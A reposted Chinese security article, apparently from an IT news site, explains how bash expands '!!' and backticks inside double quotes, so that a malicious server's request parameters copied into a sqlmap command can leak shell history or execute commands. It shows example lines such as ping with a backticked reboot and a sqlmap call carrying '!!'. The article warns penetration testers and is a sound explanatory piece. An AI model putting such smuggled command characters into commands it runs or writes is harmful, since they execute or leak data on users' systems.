IT学习网 - 爱学习 - 最具影响力综合资讯网站 -- 中国IT界的领航者!
热门关键字:      88888  as  xxx
站外
广告
站外
广告

利用bash特性的攻击方式浅析,使用Sqlmap的你可能踩中了“蜜罐”

发布时间:2016-10-21 05:45文章来源:互联网文章作者: 佚名点击次数:
Par0:楔子 你站在桥上看风景,看风景的人在楼上看你, 明月装饰了你的窗子,你装饰了别人的梦。 Par1:你要了解的事 渗透测试的同学应该都知道,在Linux下,sqlmap执行的语句大多是: Bash#sqlmap u http://sample.com/a=xxxb=xxx data postdata or Bash#py

Par0:楔子

你站在桥上看风景,看风景的人在楼上看你,

明月装饰了你的窗子,你装饰了别人的梦。

Par1:你要了解的事

渗透测试的同学应该都知道,在Linux下,sqlmap执行的语句大多是:

Bash#sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "postdata"

or

Bash#python sqlmap.py –u "http://sample.com/a=xxx&b=xxx" –cookie "cookedata"

如此形式的语句执行,实际上都是在shell中,执行bash命令。

但是,bash命令中,一些使用几率较小的特性,很多安全测试人员可能都不求甚解。

通过阅读Bash参考手册,可以了解到,在bash命令中,一些字符在封闭的双引号中,有特殊的含义,并非所见即所得。

Enclosing characters in double quotes (‘"’)preserves the literal value of all characters within the quotes, with theexception of ‘$’, ‘`’, ‘\’, and, whenhistory expansion is enabled, ‘!’. When the shell is in POSIX mode (seeBash POSIX Mode),the ‘!’ hasno special meaning within double quotes, even when history expansion isenabled. The characters ‘$’ and ‘`’ retain theirspecial meaning within double quotes (see Shell Expansions).The backslash retains its special meaning only when followed by one of the followingcharacters: ‘$’, ‘`’, ‘"’, ‘\’, or newline. Within doublequotes, backslashes that are followed by one of these characters are removed.Backslashes preceding characters without a special meaning are left unmodified.A double quote may be quoted within double quotes by preceding it with abackslash. If enabled, history expansion will be performed unless an ‘!’ appearing indouble quotes is escaped using a backslash. The backslash preceding the ‘!’ is notremoved.

The special parameters ‘*’ and ‘@’ have specialmeaning when in double quotes (see Shell Parameter Expansion).

如果,懒着弄明白上面的意思,最好的办法就是在自己的Linux中执行相关的命令:

如ping “!!”,ping “`reboot`”,看看会产生怎样神奇的效果

说的明白点,双引号中的”!!”或者”!+数字”,会替换成历史命令,执行”history”命令,就可以知道哪些数字对应哪些命令了。如果我将”!”放入到http请求中,而渗透测试人员执行例如

bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked"

首先双引号中的!!会被替换成你最近执行的一条历史命令,然后在发送到webserver,如果webserver是恶意的,那么他就可以轻松的收集到你的bash中的历史输入了,也算是一种信息泄露吧。

如果仅仅是信息收集,危害还小一些,如果用”`”(数字1前面那个反单引号字符),可就厉害了。任何”`”之间的命令,都会被执行,如果仅仅是为了好玩,一个reboot,就够你受了,但是如果还有其他的想法,你的系统可就危在旦夕了

如果我将这些特殊的字符(“!” , “`”…)放到get/post/cookie等http请求参数中,万一有人用sqlmap去对该网站进行安全测试,而注入参数正好包含了这些特殊字符,那么有意思的事情就产生了
利用bash特性的攻击方式浅析,使用Sqlmap的你可能踩中了“蜜罐”
本文由 IT学习网 整理,转载请注明“转自IT学习网”,并附上链接。
原文链接:http://www.ourlove520.com/Article/diannao/wangluo/519309.html

标签分类:

上一篇:上一篇:堆栈环境安全分析:ASRL和Shell代码的那些事儿你知多少
下一篇: 下一篇:巧用COM接口IARPUninstallStringLauncher绕过UAC
无觅关联推荐,快速提升流量